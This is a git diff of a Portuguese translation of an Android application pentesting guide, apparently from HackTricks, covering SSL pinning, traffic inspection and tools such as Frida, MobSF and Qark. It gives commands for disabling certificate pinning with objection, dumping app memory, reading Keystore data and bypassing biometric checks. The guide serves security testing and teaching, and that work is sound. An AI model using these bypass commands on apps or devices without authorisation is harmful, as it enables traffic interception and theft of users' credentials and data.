- **Negociações durante o handshake SSL/TLS às vezes são fracas**, empregando conjuntos de cifras inseguros. Essa vulnerabilidade torna a conexão suscetível a ataques do tipo homem-no-meio (MITM), permitindo que invasores descriptografem os dados.
|
||||
- **Vazamento de informações privadas** é um risco quando aplicativos autenticam usando canais seguros, mas depois comunicam-se por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas.
|
||||
|
||||
Dos 3 cenários apresentados, vamos discutir **como verificar a identidade do certificado**. Os outros 2 cenários dependem da **configuração do TLS** do servidor e se o **aplicativo envia dados não criptografados**. O testador deve verificar por conta própria a configuração do TLS do servidor ([aqui](../../network-services-pentesting/pentesting-web/#ssl-tls-vulnerabilites)) e detectar se alguma **informação confidencial é enviada por um canal não criptografado/vulnerável**.\
|
||||
Mais informações sobre como descobrir e corrigir esse tipo de vulnerabilidades [**aqui**](https://manifestsecurity.com/android-application-security-part-10/).
|
||||
#### Verificação de Certificado
|
||||
|
||||
**SSL Pinning**
|
||||
Vamos focar na **verificação de certificado**. A integridade do certificado do servidor deve ser verificada para aumentar a segurança. Isso é crucial porque configurações TLS inseguras e a transmissão de dados sensíveis por canais não criptografados podem representar riscos significativos. Para etapas detalhadas sobre a verificação de certificados do servidor e abordagem de vulnerabilidades, **[este recurso](https://manifestsecurity.com/android-application-security-part-10/)** fornece orientações abrangentes.
|
||||
|
||||
Por padrão, ao fazer uma conexão SSL, o cliente (aplicativo Android) verifica se o certificado do servidor tem uma cadeia de confiança verificável até um certificado confiável (raiz) e corresponde ao nome do host solicitado. Isso leva ao problema de **Ataques Man-in-the-Middle (MITM)**.\
|
||||
No Pinning de certificado, um aplicativo Android contém o certificado do servidor e só transmite dados se o mesmo certificado for apresentado.\
|
||||
É recomendável **aplicar o SSL Pinning** para os sites onde informações sensíveis serão enviadas.
|
||||
#### SSL Pinning
|
||||
|
||||
### Inspeção de tráfego HTTP
|
||||
SSL Pinning é uma medida de segurança em que o aplicativo verifica o certificado do servidor em relação a uma cópia conhecida armazenada dentro do próprio aplicativo. Este método é essencial para prevenir ataques MITM. Implementar o SSL Pinning é altamente recomendado para aplicativos que lidam com informações sensíveis.
|
||||
|
||||
Antes de tudo, você deve (deve) **instalar o certificado** da **ferramenta de proxy** que você vai usar, provavelmente o Burp. Se você não instalar o certificado CA da ferramenta de proxy, provavelmente não verá o tráfego criptografado no proxy.\
|
||||
**Por favor,** [**leia este guia para aprender como instalar um certificado CA personalizado**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)**.**
|
||||
#### Inspeção de Tráfego
|
||||
|
||||
Para aplicativos direcionados ao **Nível de API 24+ não é suficiente instalar o certificado CA do Burp** no dispositivo. Para contornar essa nova proteção, você precisa modificar o arquivo de Configuração de Segurança de Rede. Portanto, você pode modificar este arquivo para autorizar seu certificado CA ou pode [**ler esta página para um tutorial sobre como forçar o aplicativo a aceitar novamente todos os certificados instalados no dispositivo**](make-apk-accept-ca-certificate.md).
|
||||
Para inspecionar o tráfego HTTP, é necessário **instalar o certificado da ferramenta de proxy** (por exemplo, Burp). Sem instalar este certificado, o tráfego criptografado pode não ser visível através do proxy. Para um guia sobre como instalar um certificado CA personalizado, **[clique aqui](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)**.
|
||||
|
||||
**SSL Pinning**
|
||||
Aplicativos direcionados ao **Nível de API 24 e acima** requerem modificações na Configuração de Segurança de Rede para aceitar o certificado CA do proxy. Este passo é crítico para inspecionar o tráfego criptografado. Para instruções sobre como modificar a Configuração de Segurança de Rede, **[consulte este tutorial](make-apk-accept-ca-certificate.md)**.
|
||||
|
||||
Já discutimos o que é SSL Pinning apenas 2 parágrafos antes. Quando implementado em um aplicativo, você precisará contorná-lo para inspecionar o tráfego HTTPS ou não o verá.\
|
||||
Aqui vou apresentar algumas opções que usei para contornar essa proteção:
|
||||
#### Bypassing SSL Pinning
|
||||
|
||||
* **Modificar automaticamente** o **apk** para **contornar** o SSLPinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A maior vantagem dessa opção é que você não precisará de root para contornar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
|
||||
* Você pode usar o **Frida** (discutido abaixo) para contornar essa proteção. Aqui está um guia para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Você também pode tentar **contornar automaticamente o SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* Você também pode tentar **contornar automaticamente o SSL Pinning** usando **análise dinâmica do MobSF** (explicado abaixo)
|
||||
Quando o SSL Pinning é implementado, é necessário contorná-lo para inspecionar o tráfego HTTPS. Vários métodos estão disponíveis para esse fim:
|
||||
|
||||
* Modificar automaticamente o **apk** para **burlar** o SSL Pinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A maior vantagem desta opção é que você não precisará de acesso root para burlar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
|
||||
* Você pode usar o **Frida** (discutido abaixo) para burlar essa proteção. Aqui está um guia para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Você também pode tentar **burlar automaticamente o SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* Você também pode tentar **burlar automaticamente o SSL Pinning** usando **análise dinâmica do MobSF** (explicado abaixo)
|
||||
* Se você ainda acha que há algum tráfego que não está capturando, pode tentar **encaminhar o tráfego para o burp usando iptables**. Leia este blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
**Vulnerabilidades Web Comuns**
|
||||
#### Procurando por Vulnerabilidades Comuns na Web
|
||||
|
||||
Observe que nesta etapa você deve procurar por vulnerabilidades web comuns. Muitas informações sobre vulnerabilidades web podem ser encontradas neste livro, então não vou mencioná-las aqui.
|
||||
Também é importante procurar por vulnerabilidades comuns na web dentro do aplicativo. Informações detalhadas sobre a identificação e mitigação dessas vulnerabilidades estão além do escopo deste resumo, mas são extensamente abordadas em outros lugares.
|
||||
|
||||
### Frida
|
||||
|
||||
Ferramenta de instrumentação dinâmica para desenvolvedores, engenheiros reversos e pesquisadores de segurança. Saiba mais em [www.frida.re](https://www.frida.re).\
|
||||
**É incrível, você pode acessar o aplicativo em execução e enganchar métodos em tempo de execução para alterar o comportamento, alterar valores, extrair valores, executar código diferente...**\
|
||||
**Se você deseja fazer pentest em aplicativos Android, precisa saber como usar o Frida.**
|
||||
[Frida](https://www.frida.re) é um kit de ferramentas de instrumentação dinâmica para desenvolvedores, engenheiros reversos e pesquisadores de segurança.\
|
||||
**Você pode acessar o aplicativo em execução e enganchar métodos em tempo de execução para alterar o comportamento, alterar valores, extrair valores, executar código diferente...**\
|
||||
Se você deseja fazer pentest em aplicativos Android, precisa saber como usar o Frida.
|
||||
|
||||
**Aprenda a usar o Frida:** [**Tutorial do Frida**](frida-tutorial/)\
|
||||
**Algum "GUI" para ações com o Frida:** [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)\
|
||||
**Algumas outras abstrações baseadas no Frida:** [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)\
|
||||
**Você pode encontrar alguns scripts incríveis do Frida aqui:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
* Aprenda a usar o Frida: [**Tutorial do Frida**](frida-tutorial/)
|
||||
* Algumas "GUI" para ações com o Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
* Ojection é ótimo para automatizar o uso do Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
* Você pode encontrar alguns scripts incríveis do Frida aqui: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
|
||||
### **Despejar Memória - Fridump**
|
||||
### **Despejo de Memória - Fridump**
|
||||
|
||||
Verifique se o aplicativo está armazenando informações sensíveis na memória que não deveria estar armazenando, como senhas ou mnemônicos.
|
||||
Verifique se o aplicativo está armazenando informações sensíveis na memória que não deveria, como senhas ou mnemônicos.
|
||||
|
||||
Usando [**Fridump3**](https://github.com/rootbsd/fridump3) você pode despejar a memória do aplicativo com:
|
||||
```bash
|
||||
|
@ -513,9 +507,9 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
|||
|
||||
### **Dados sensíveis no Keystore**
|
||||
|
||||
No Android, o Keystore é o melhor lugar para armazenar dados sensíveis, no entanto, com privilégios suficientes ainda é **possível acessá-lo**. Como os aplicativos tendem a armazenar aqui **dados sensíveis em texto claro**, os testes de penetração devem verificar isso, pois um usuário root ou alguém com acesso físico ao dispositivo poderia roubar esses dados.
|
||||
No Android, o Keystore é o melhor lugar para armazenar dados sensíveis, no entanto, com privilégios suficientes ainda é **possível acessá-lo**. Como os aplicativos tendem a armazenar aqui **dados sensíveis em texto claro**, os testes de penetração devem verificar isso, pois um usuário root ou alguém com acesso físico ao dispositivo pode ser capaz de roubar esses dados.
|
||||
|
||||
Mesmo que um aplicativo armazene dados no keystore, os dados devem estar criptografados.
|
||||
Mesmo que um aplicativo armazene dados no keystore, os dados devem ser criptografados.
|
||||
|
||||
Para acessar os dados dentro do keystore, você pode usar este script Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
|
@ -533,13 +527,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
|||
|
||||
### **Imagens de Fundo**
|
||||
|
||||
Quando você coloca um aplicativo em segundo plano, o Android armazena um **instantâneo do aplicativo** para que, quando ele for recuperado para o primeiro plano, comece a carregar a imagem antes do aplicativo, fazendo com que pareça que o aplicativo foi carregado mais rapidamente.
|
||||
Quando você coloca um aplicativo em segundo plano, o Android armazena um **instantâneo do aplicativo** para que, quando ele for recuperado para o primeiro plano, comece a carregar a imagem antes do aplicativo, para que pareça que o aplicativo foi carregado mais rapidamente.
|
||||
|
||||
No entanto, se esse instantâneo contiver **informações sensíveis**, alguém com acesso a ele poderá **roubar essas informações** (observe que é necessário ter acesso root para acessá-lo).
|
||||
No entanto, se esse instantâneo contiver **informações sensíveis**, alguém com acesso ao instantâneo pode **roubar essas informações** (observe que é necessário ter acesso root para acessá-lo).
|
||||
|
||||
Os instantâneos geralmente são armazenados em: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
O Android fornece uma maneira de **prevenir a captura de tela definindo o parâmetro de layout FLAG\_SECURE**. Ao usar essa flag, o conteúdo da janela é tratado como seguro, impedindo que ele apareça em capturas de tela ou seja visualizado em displays não seguros.
|
||||
O Android fornece uma maneira de **prevenir a captura de tela definindo o FLAG\_SECURE** como parâmetro de layout. Ao usar essa bandeira, o conteúdo da janela é tratado como seguro, impedindo que ele apareça em capturas de tela ou seja visualizado em displays não seguros.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
|
@ -547,20 +541,26 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
|||
|
||||
Esta ferramenta pode ajudá-lo a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer)
|
||||
|
||||
### Injeção de Intent
|
||||
### Injeção de Intenção
|
||||
|
||||
Essa vulnerabilidade se assemelha ao **Redirecionamento Aberto na segurança web**. Como a classe `Intent` é `Parcelable`, **objetos pertencentes a essa classe** podem ser **passados** como **dados extras** em outro objeto `Intent`.\
|
||||
Muitos desenvolvedores fazem **uso** desse **recurso** e criam **componentes proxy** (atividades, receptores de transmissão e serviços) que **recebem um Intent incorporado e o passam para métodos perigosos** como `startActivity(...)`, `sendBroadcast(...)`, etc.\
|
||||
Isso é perigoso porque **um atacante pode forçar o aplicativo a iniciar um componente não exportado que não pode ser iniciado diretamente por outro aplicativo**, ou conceder ao atacante acesso aos seus provedores de conteúdo. **`WebView`** às vezes também altera um **URL de uma string para um objeto `Intent`**, usando o método `Intent.parseUri(...)`, e o passa para `startActivity(...)`.
|
||||
Os desenvolvedores frequentemente criam componentes de proxy como atividades, serviços e receptores de transmissão que lidam com essas Intenções e as passam para métodos como `startActivity(...)` ou `sendBroadcast(...)`, o que pode ser arriscado.
|
||||
|
||||
O perigo está em permitir que atacantes acionem componentes de aplicativos não exportados ou acessem provedores de conteúdo sensíveis ao desviar essas Intenções. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e então executando-os, potencialmente levando a injeções maliciosas de Intenção.
|
||||
|
||||
### Principais Pontos
|
||||
- **Injeção de Intenção** é semelhante ao problema de Redirecionamento Aberto na web.
|
||||
- As explorações envolvem passar objetos `Intent` como extras, que podem ser redirecionados para executar operações inseguras.
|
||||
- Pode expor componentes não exportados e provedores de conteúdo a atacantes.
|
||||
- A conversão de URL para `Intent` do `WebView` pode facilitar ações não intencionais.
|
||||
|
||||
### Injeções no Lado do Cliente Android e outros
|
||||
|
||||
Provavelmente você conhece esse tipo de vulnerabilidades da Web. Você deve ter cuidado especial com essas vulnerabilidades em um aplicativo Android:
|
||||
|
||||
* **Injeção de SQL:** Ao lidar com consultas dinâmicas ou Content-Providers, certifique-se de estar usando consultas parametrizadas.
|
||||
* **Injeção de SQL:** Ao lidar com consultas dinâmicas ou Provedores de Conteúdo, certifique-se de estar usando consultas parametrizadas.
|
||||
* **Injeção de JavaScript (XSS):** Verifique se o suporte a JavaScript e Plugins está desativado para quaisquer WebViews (desativado por padrão). [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
* **Inclusão de Arquivo Local:** Verifique se o Acesso ao Sistema de Arquivos está desativado para quaisquer WebViews (ativado por padrão) `(webview.getSettings().setAllowFileAccess(false);)`. [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
* **Cookies eternos**: Em vários casos, quando o aplicativo Android encerra a sessão, o cookie não é revogado ou pode até ser salvo no disco.
|
||||
* **Inclusão de Arquivo Local:** WebViews devem ter acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
* **Cookies eternos:** Em vários casos, quando o aplicativo Android encerra a sessão, o cookie não é revogado ou pode até ser salvo no disco.
|
||||
* [**Flag Segura** em cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
|
||||
***
|
||||
|
@ -570,13 +570,13 @@ Provavelmente você conhece esse tipo de vulnerabilidades da Web. Você deve ter
|
|||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Envolver-se com conteúdo que mergulha na emoção e desafios do hacking
|
||||
Interaja com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e insights em tempo real
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
||||
|
@ -588,19 +588,19 @@ Fique informado sobre os mais novos programas de recompensas por bugs lançados
|
|||
|
||||
![](<../../.gitbook/assets/image (61).png>)
|
||||
|
||||
**Avaliação de vulnerabilidades do aplicativo** usando uma interface web agradável. Você também pode realizar análise dinâmica (mas precisa preparar o ambiente).
|
||||
**Avaliação de vulnerabilidades do aplicativo** usando uma interface web agradável. Você também pode realizar análises dinâmicas (mas precisa preparar o ambiente).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Observe que o MobSF pode analisar aplicativos **Android**(apk), **IOS**(ipa) **e Windows**(apx) (_os aplicativos do Windows devem ser analisados a partir de um MobSF instalado em um host do Windows_).\
|
||||
Além disso, se você criar um arquivo **ZIP** com o código-fonte de um aplicativo **Android** ou **IOS** (vá até a pasta raiz do aplicativo, selecione tudo e crie um arquivo ZIP), o MobSF também poderá analisá-lo.
|
||||
Observe que o MobSF pode analisar aplicativos **Android**(apk), **IOS**(ipa) **e Windows**(apx) (_Os aplicativos do Windows devem ser analisados a partir de um MobSF instalado em um host do Windows_).\
|
||||
Além disso, se você criar um arquivo **ZIP** com o código-fonte de um aplicativo **Android** ou **IOS** (vá até a pasta raiz do aplicativo, selecione tudo e crie um arquivo ZIP), ele também poderá analisá-lo.
|
||||
|
||||
O MobSF também permite que você faça a **diferença/comparação** da análise e integre o **VirusTotal** (você precisará configurar sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = <Sua chave de API>` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **enviado** em vez do arquivo.
|
||||
O MobSF também permite que você faça **diff/comparação** de análises e integre o **VirusTotal** (você precisará configurar sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = <Sua chave de API>` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **enviado** em vez do arquivo.
|
||||
|
||||
### Análise dinâmica assistida com o MobSF
|
||||
|
||||
O **MobSF** também pode ser muito útil para a **análise dinâmica** no **Android**, mas nesse caso você precisará instalar o MobSF e o **genymotion** em seu host (uma VM ou Docker não funcionarão). _Observação: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF.**_\
|
||||
O **MobSF** também pode ser muito útil para **análise dinâmica** no **Android**, mas nesse caso você precisará instalar o MobSF e o **genymotion** em seu host (uma VM ou Docker não funcionará). _Observação: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF.**_\
|
||||
O **analisador dinâmico do MobSF** pode:
|
||||
|
||||
* **Extrair dados do aplicativo** (URLs, logs, área de transferência, capturas de tela feitas por você, capturas de tela feitas pelo "**Exported Activity Tester**", e-mails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas capturas de tela, você precisa pressionar quando desejar uma captura de tela ou pressionar "**Exported Activity Tester**" para obter capturas de tela de todas as atividades exportadas.
|
||||
|
@ -614,8 +614,8 @@ A partir das versões do Android > 5, ele **iniciará automaticamente o Frida**
|
|||
Por padrão, ele também usará alguns Scripts do Frida para **burlar a verificação de SSL**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\
|
||||
O MobSF também pode **invocar atividades exportadas**, capturar **capturas de tela** delas e **salvá-las** para o relatório.
|
||||
|
||||
Para **iniciar** o teste dinâmico, pressione o botão verde: "**Iniciar Instrumentação**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts do Frida e "**Monitor de API ao Vivo**" para ver todas as invocações aos métodos conectados, argumentos passados e valores retornados (isso aparecerá após pressionar "Iniciar Instrumentação").\
|
||||
O MobSF também permite carregar seus próprios **scripts do Frida** (para enviar os resultados de seus scripts do Friday para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Carregar**" e pressionar "**Iniciar Instrumentação**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
|
||||
Para **iniciar** o teste dinâmico, pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts do Frida e "**Live API Monitor**" para ver todas as invocações aos métodos conectados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\
|
||||
O MobSF também permite carregar seus próprios **scripts do Frida** (para enviar os resultados de seus scripts do Friday para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
|
||||
|
||||
![](<../../.gitbook/assets/image (215).png>)
|
||||
|
||||
|
@ -628,7 +628,7 @@ Além disso, você tem algumas funcionalidades auxiliares do Frida:
|
|||
* **Pesquisar Padrão de Classe**: Pesquisar classes por padrão
|
||||
* **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que por padrão o MobSF rastreia vários métodos interessantes da API do Android.
|
||||
|
||||
Depois de selecionar o módulo auxiliar que deseja usar, você precisa pressionar "**Iniciar Instrumentação**" e verá todas as saídas em "**Frida Live Logs**".
|
||||
Depois de selecionar o módulo auxiliar que deseja usar, você precisa pressionar "**Start Intrumentation**" e verá todas as saídas em "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
|
@ -643,10 +643,10 @@ receivers
|
|||
```
|
||||
**Ferramentas HTTP**
|
||||
|
||||
Quando o tráfego http é capturado, você pode ver uma visualização feia do tráfego capturado no fundo "**HTTP(S) Traffic**" ou uma visualização mais agradável no fundo verde "**Start HTTPTools**". A partir da segunda opção, você pode **enviar** as **solicitações capturadas** para **proxies** como Burp ou Owasp ZAP.\
|
||||
Quando o tráfego HTTP é capturado, você pode ver uma visualização feia do tráfego capturado no fundo "**HTTP(S) Traffic**" ou uma visualização mais agradável no fundo verde "**Start HTTPTools**". A partir da segunda opção, você pode **enviar** as **solicitações capturadas** para **proxies** como Burp ou Owasp ZAP.\
|
||||
Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a solicitação_ --> pressione "**Send to Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.1:8080)).
|
||||
|
||||
Após concluir a análise dinâmica com o MobSF, você pode pressionar "**Start Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades.
|
||||
Depois de concluir a análise dinâmica com o MobSF, você pode pressionar "**Start Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades.
|
||||
|
||||
{% hint style="info" %}
|
||||
Após realizar uma análise dinâmica com o MobSF, as configurações do proxy podem estar incorretas e você não poderá corrigi-las pela GUI. Você pode corrigir as configurações do proxy fazendo:
|
||||
|
@ -660,9 +660,6 @@ adb shell settings put global http_proxy :0
|
|||
Você pode obter a ferramenta em [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Esta ferramenta usará alguns **Hooks** para informar **o que está acontecendo no aplicativo** enquanto você realiza uma **análise dinâmica**.
|
||||
|
||||
{% content-ref url="inspeckage-tutorial.md" %}
|
||||
[inspeckage-tutorial.md](inspeckage-tutorial.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
|
@ -672,7 +669,7 @@ Esta é uma **ótima ferramenta para realizar análise estática com uma GUI**
|
|||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Esta ferramenta é projetada para procurar várias **vulnerabilidades de segurança relacionadas a aplicativos Android**, seja no **código-fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um APK implantável "Proof-of-Concept"** e **comandos ADB** para explorar algumas das vulnerabilidades encontradas (atividades expostas, intenções, tapjacking...). Assim como o Drozer, não é necessário fazer root no dispositivo de teste.
|
||||
Esta ferramenta é projetada para procurar várias **vulnerabilidades de segurança relacionadas a aplicativos Android**, seja no **código-fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um APK implantável "Prova de Conceito"** e **comandos ADB** para explorar algumas das vulnerabilidades encontradas (atividades expostas, intenções, tapjacking...). Assim como o Drozer, não é necessário fazer root no dispositivo de teste.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
|
@ -686,21 +683,8 @@ qark --java path/to/specific/java/file.java
|
|||
* Analisa AndroidManifest.xml em busca de vulnerabilidades e comportamentos comuns
|
||||
* Análise estática de código-fonte em busca de vulnerabilidades e comportamentos comuns
|
||||
* Informações do dispositivo
|
||||
* Intenções
|
||||
* Execução de comandos
|
||||
* Referências SQLite
|
||||
* Referências de log
|
||||
* Provedores de conteúdo
|
||||
* Receptores de transmissão
|
||||
* Referências de serviço
|
||||
* Referências de arquivo
|
||||
* Referências de criptografia
|
||||
* Segredos codificados
|
||||
* URLs
|
||||
* Conexões de rede
|
||||
* Referências SSL
|
||||
* Referências de WebView
|
||||
```
|
||||
* e muito mais
|
||||
```bash
|
||||
reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
@ -717,7 +701,7 @@ super-analyzer {apk_file}
|
|||
|
||||
![](<../../.gitbook/assets/image (62).png>)
|
||||
|
||||
StaCoAn é uma ferramenta **multiplataforma** que auxilia desenvolvedores, caçadores de bugs e hackers éticos na realização de [análise de código estático](https://en.wikipedia.org/wiki/Static\_program\_analysis) em aplicativos móveis\*.
|
||||
StaCoAn é uma ferramenta **multiplataforma** que auxilia desenvolvedores, caçadores de bugs e hackers éticos a realizar [análise de código estático](https://en.wikipedia.org/wiki/Static\_program\_analysis) em aplicativos móveis.
|
||||
|
||||
O conceito é que você arraste e solte o arquivo do seu aplicativo móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela irá gerar um relatório visual e portátil para você. Você pode ajustar as configurações e listas de palavras para obter uma experiência personalizada.
|
||||
|
||||
|
@ -728,7 +712,7 @@ Baixe a [última versão](https://github.com/vincentcox/StaCoAn/releases):
|
|||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework)
|
||||
|
||||
O AndroBugs Framework é um sistema de análise de vulnerabilidades do Android que ajuda desenvolvedores ou hackers a encontrar possíveis vulnerabilidades de segurança em aplicativos Android.\
|
||||
[Releases para Windows](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
androbugs.exe -f [APK file]
|
||||
|
@ -747,9 +731,9 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||
|
||||
![](<../../.gitbook/assets/image (81).png>)
|
||||
|
||||
**MARA** é um **F**ramework de **R**everse engineering e **A**nálise de **A**plicativos **M**óveis. É uma ferramenta que reúne ferramentas comumente usadas para reverse engineering e análise de aplicativos móveis, para auxiliar nos testes de aplicativos móveis contra as ameaças de segurança móvel da OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicativos móveis e profissionais de segurança.
|
||||
**MARA** é um **F**ramework de **R**everse engineering e **A**nálise de **A**plicativos **M**óveis. É uma ferramenta que reúne ferramentas comumente usadas para reverse engineering e análise de aplicativos móveis, para auxiliar no teste de aplicativos móveis contra as ameaças de segurança móvel da OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicativos móveis e profissionais de segurança.
|
||||
|
||||
Ele é capaz de:
|
||||
É capaz de:
|
||||
|
||||
* Extrair código Java e Smali usando diferentes ferramentas
|
||||
* Analisar APKs usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
@ -762,18 +746,16 @@ Ele é capaz de:
|
|||
|
||||
Útil para detectar malware: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
## Ofuscação/Desofuscação de código
|
||||
## Ofuscando/Desofuscando código
|
||||
|
||||
Observe que, dependendo do serviço e configuração que você usa para ofuscar o código, segredos podem ou não ser desofuscados.
|
||||
|
||||
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
|
||||
|
||||
**ProGuard** é uma ferramenta de linha de comando de código aberto que reduz, otimiza e ofusca o código Java. Ele é capaz de otimizar o bytecode, bem como detectar e remover instruções não utilizadas. O ProGuard é um software gratuito e é distribuído sob a Licença Pública Geral GNU, versão 2.
|
||||
